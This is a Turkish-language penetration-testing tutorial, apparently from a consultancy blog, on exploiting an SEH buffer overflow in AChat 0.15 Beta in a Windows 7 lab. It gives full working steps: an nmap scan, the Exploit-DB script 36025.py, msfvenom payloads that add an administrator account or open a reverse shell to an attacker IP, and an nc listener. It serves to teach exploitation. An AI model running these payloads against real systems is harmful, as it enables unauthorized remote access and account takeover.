Achat 0.15 Beta Uygulama Zafiyetinin İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

0
628
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemlerde bir takım yetkiler elde edilebilir. Bu yazıda 64 bitlik Windows 7 SP0 işletim sisteminde Achat 0.15 Beta uygulamasına ait zafiyet bir Python kodu ile istismar edilecek ve kullanıcı hakları ile komut satırı bağlantısı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Ağ taraması gerçekleştirildiğinde hedef işletim sisteminin TCP/9256 portunda Achat uygulamasının hizmet verdiği görülmektedir.

nmap -Pn -n –reason -p 22,139,445,3389,9256 192.168.0.32 -sV -A

 

Nmap ile uygulamaya ait sürüm bilgisi elde edilememiştir. Eğitim amaçlı oluşturulan bu ortamda AChat v0.150 Beta 7 kurulmuştur. Achat uygulamasının bu sürümü Sourceforge üzerinden indirilebilir.

https://kent.dl.sourceforge.net/project/achat/AChat%20beta/AChat%20beta%207%20%28v0.150%29/achat0-150setup.exe

 

Achat uygulaması, anlık mesajlaşma ve veri transferi amaçları ile kullanılan bir uygulamadır.

 

Achat 0.15 Beta sürümündeki bu uygulamadaki SEH tabanlı bellek taşması zafiyeti Exploit-DB üzerindeki 36025.py betiği ile istismar edilerek uygulamayı çalıştıran kullanıcı hakları ile Windows komut satırı bağlantısı elde edilebilir. Bu betik Kali üzerinde de bulunmaktadır.

searchsploit achat
cp /usr/share/exploitdb/platforms/windows/remote/36025.py .
head -15 36025.py

 

Kodun içeriği incelendiğinde hedef uygulamanın istismar edilmesi ile hesap makinesinin (calc.exe) çalışacağı belirtilmektedir.

msfvenom -a x86 –platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

 

Hedef IP adresi de python kodunun içerisinde bulunmaktadır. Bu değer kurban makinenin IP adresi ile değiştirilerek python kodu çalıştırılabilir.

 

İstismar kodu çalıştırıldığında, Achat uygulamasının kapandığı ve hesap makinesinin açıldığı görülmektedir.

 

Hesap makinesini çalıştırmak yerine yeni bir kullanıcı ekleme, bir port açma, bir porta ters bağlantı sağlama,… gibi işlemler de yapılabilir. Uygulamayı çalıştıran kullanıcının yetkisi ile yeni bir yerel yönetici kullanıcısı oluşturmak için aşağıdaki payload kullanılabilir.

msfvenom -a x86 –platform Windows -p windows/adduser USER=Saldirgan PASS=Ss123456 -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

 

Bu kod parçası ilgili payload kısmına yapıştırılarak hesap makinesinin açılması yerine yeni bir kullanıcı oluşturulması beklenmektedir.

 

Kod parçacığı yeniden çalıştırıldığında “Saldirgan” isimli yeni bir yönetici kullanıcısının oluştuğu görülmüştür.

python 36025.py

net user
net user Saldırgan

 

Ancak Achat uygulamasını çalıştıran kullanıcının yeni kullanıcı oluşturma yetkisi yoksa “windows/adduser” adlı payload çalışamayacaktır. Bu gibi bir durumda ters bağlantı sağlayacak bir payload (windows/shell_reverse_tcp) kullanılabilir.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.30 LPORT=443 -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

 

Benzer şekilde 36025.py dosyasının içeriğindeki çalışacak kod parçacığı değiştirildiğinde hedef sistemden saldırganın belirttiği IP adresine Achat uygulamasını çalıştıran kullanıcı yetkisi ile komut satırı erişimielde edilir.

nc -nlvp 443

python 36025.py

whoami
systeminfo

Not: Github üzerindeki Python ve Bash betikleri de ters bağlantı için kullanılabilir.

https://github.com/un1x00/AChat-Reverse-TCP-Exploit

 

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.